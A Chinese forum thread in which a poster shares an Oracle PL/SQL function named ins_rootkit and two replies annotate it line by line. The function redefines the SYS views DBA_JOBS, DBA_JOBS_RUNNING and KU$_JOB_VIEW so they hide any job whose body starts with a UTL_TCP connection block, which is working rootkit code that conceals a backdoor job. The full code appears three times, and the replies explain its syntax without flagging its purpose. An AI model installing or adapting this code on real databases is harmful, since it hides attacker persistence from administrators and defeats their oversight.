CREATE OR REPLACE
FUNCTION ins_rootkit RETURN VARCHAR2 AUTHID CURRENT_USER AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS" ("JOB", "LOG_USER", "PRIV_USER", "SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "NEXT_DATE", "NEXT_SEC", "TOTAL_TIME", "BROKEN", "INTERVAL", "FAILURES", "WHAT", "NLS_ENV", "MISC_ENV", "INSTANCE") AS 
  select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,
    LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,
    THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC,
    NEXT_DATE, substr(to_char(next_date,''HH24:MI:SS''),1,8) NEXT_SEC,
    (total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME,
    decode(mod(FLAG,2),1,''Y'',0,''N'',''?'') BROKEN,
    INTERVAL# interval, FAILURES, WHAT,
    nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE
  from sys.job$ j WHERE j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS_RUNNING" ("SID", "JOB", "FAILURES", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "INSTANCE") AS 
  select v.SID, v.id2 JOB, j.FAILURES,
    LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,
    THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC,
    j.field1 INSTANCE
  from sys.job$ j, v$lock v
  where v.type = ''JQ'' and j.job (+)= v.id2 and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."KU$_JOB_VIEW" OF "SYS"."KU$_JOB_T"
  WITH OBJECT IDENTIFIER (powner_id) AS 
  select ''1'',''0'',
         u.user#, j.powner, j.lowner, j.cowner, j.job,
         TO_CHAR(j.last_date, ''YYYY-MM-DD:HH24:MI:SS''),
         TO_CHAR(j.this_date, ''YYYY-MM-DD:HH24:MI:SS''),
         TO_CHAR(j.next_date, ''YYYY-MM-DD:HH24:MI:SS''),
         j.flag, j.failures,
   REPLACE(j.interval#, '''''''', ''''''''''''),
         REPLACE(j.what, '''''''', ''''''''''''),
         REPLACE(j.nlsenv, '''''''', ''''''''''''),
   j.env, j.field1, j.charenv
  from   sys.job$ j, sys.user$ u
  where  j.powner = u.name and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  COMMIT;
  RETURN '';
END;能看懂的朋友请翻译下..谢谢

解决方案 »

  1.   


    CREATE OR REPLACE FUNCTION ins_rootkit  --创建函数
    RETURN VARCHAR2 AUTHID CURRENT_USER     --返回一个字串,函数只能当前用户使用
    AS
      PRAGMA AUTONOMOUS_TRANSACTION;  --设置自治事务
    BEGIN
      --执行动态SQL,创建视图 "SYS"."DBA_JOBS"
      EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS" ("JOB", "LOG_USER", "PRIV_USER", "SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "NEXT_DATE", "NEXT_SEC", "TOTAL_TIME", "BROKEN", "INTERVAL", "FAILURES", "WHAT", "NLS_ENV", "MISC_ENV", "INSTANCE") AS  
      select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,
      LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,
      THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC,
      NEXT_DATE, substr(to_char(next_date,''HH24:MI:SS''),1,8) NEXT_SEC,
      (total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME,
      decode(mod(FLAG,2),1,''Y'',0,''N'',''?'') BROKEN,
      INTERVAL# interval, FAILURES, WHAT,
      nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE
      from sys.job$ j WHERE j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  --执行动态SQL,创建视图 "SYS"."DBA_JOBS_RUNNING"
      EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS_RUNNING" ("SID", "JOB", "FAILURES", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "INSTANCE") AS  
      select v.SID, v.id2 JOB, j.FAILURES,
      LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,
      THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC,
      j.field1 INSTANCE
      from sys.job$ j, v$lock v
      where v.type = ''JQ'' and j.job (+)= v.id2 and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  --执行动态SQL,创建视图
      EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."KU$_JOB_VIEW" OF "SYS"."KU$_JOB_T"
      WITH OBJECT IDENTIFIER (powner_id) AS  
      select ''1'',''0'',
      u.user#, j.powner, j.lowner, j.cowner, j.job,
      TO_CHAR(j.last_date, ''YYYY-MM-DD:HH24:MI:SS''),
      TO_CHAR(j.this_date, ''YYYY-MM-DD:HH24:MI:SS''),
      TO_CHAR(j.next_date, ''YYYY-MM-DD:HH24:MI:SS''),
      j.flag, j.failures,
      REPLACE(j.interval#, '''''''', ''''''''''''),
      REPLACE(j.what, '''''''', ''''''''''''),
      REPLACE(j.nlsenv, '''''''', ''''''''''''),
      j.env, j.field1, j.charenv
      from sys.job$ j, sys.user$ u
      where j.powner = u.name and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  COMMIT;   --自治事务提交
      RETURN '';    --返回空字符串
    END;
      

  2.   


    CREATE OR REPLACE FUNCTION ins_rootkit -- 创建函数ins_rootkit
    RETURN VARCHAR2 -- 该函数的返回值类型是VARCHAR2
    AUTHID CURRENT_USER AS -- 权限验证使用当前创建者的权限
      PRAGMA AUTONOMOUS_TRANSACTION; -- 该函数是一个自治事务函数
    BEGIN -- 开始
      -- 动态创建一个视图SYS.DBA_JOBS
      EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS" ("JOB", "LOG_USER", "PRIV_USER", "SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "NEXT_DATE", "NEXT_SEC", "TOTAL_TIME", "BROKEN", "INTERVAL", "FAILURES", "WHAT", "NLS_ENV", "MISC_ENV", "INSTANCE") AS  
      select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,
      LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,
      THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC,
      NEXT_DATE, substr(to_char(next_date,''HH24:MI:SS''),1,8) NEXT_SEC,
      (total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME,
      decode(mod(FLAG,2),1,''Y'',0,''N'',''?'') BROKEN,
      INTERVAL# interval, FAILURES, WHAT,
      nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE
      from sys.job$ j WHERE j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  -- 动态创建视图SYS.DBA_JOBS_RUNNING
      EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS_RUNNING" ("SID", "JOB", "FAILURES", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "INSTANCE") AS  
      select v.SID, v.id2 JOB, j.FAILURES,
      LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,
      THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC,
      j.field1 INSTANCE
      from sys.job$ j, v$lock v
      where v.type = ''JQ'' and j.job (+)= v.id2 and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  -- 动态创建视图SYS.KU$_JOB_VIEW
      EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."KU$_JOB_VIEW" OF "SYS"."KU$_JOB_T"
      WITH OBJECT IDENTIFIER (powner_id) AS  
      select ''1'',''0'',
      u.user#, j.powner, j.lowner, j.cowner, j.job,
      TO_CHAR(j.last_date, ''YYYY-MM-DD:HH24:MI:SS''),
      TO_CHAR(j.this_date, ''YYYY-MM-DD:HH24:MI:SS''),
      TO_CHAR(j.next_date, ''YYYY-MM-DD:HH24:MI:SS''),
      j.flag, j.failures,
      REPLACE(j.interval#, '''''''', ''''''''''''),
      REPLACE(j.what, '''''''', ''''''''''''),
      REPLACE(j.nlsenv, '''''''', ''''''''''''),
      j.env, j.field1, j.charenv
      from sys.job$ j, sys.user$ u
      where j.powner = u.name and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';  COMMIT; -- 提交自治事务
      RETURN ''; -- 返回空串,即NULL值
    END;
      

  3.   

    这个有啥作用呢?很囧...
    我是找的一段rootkit代码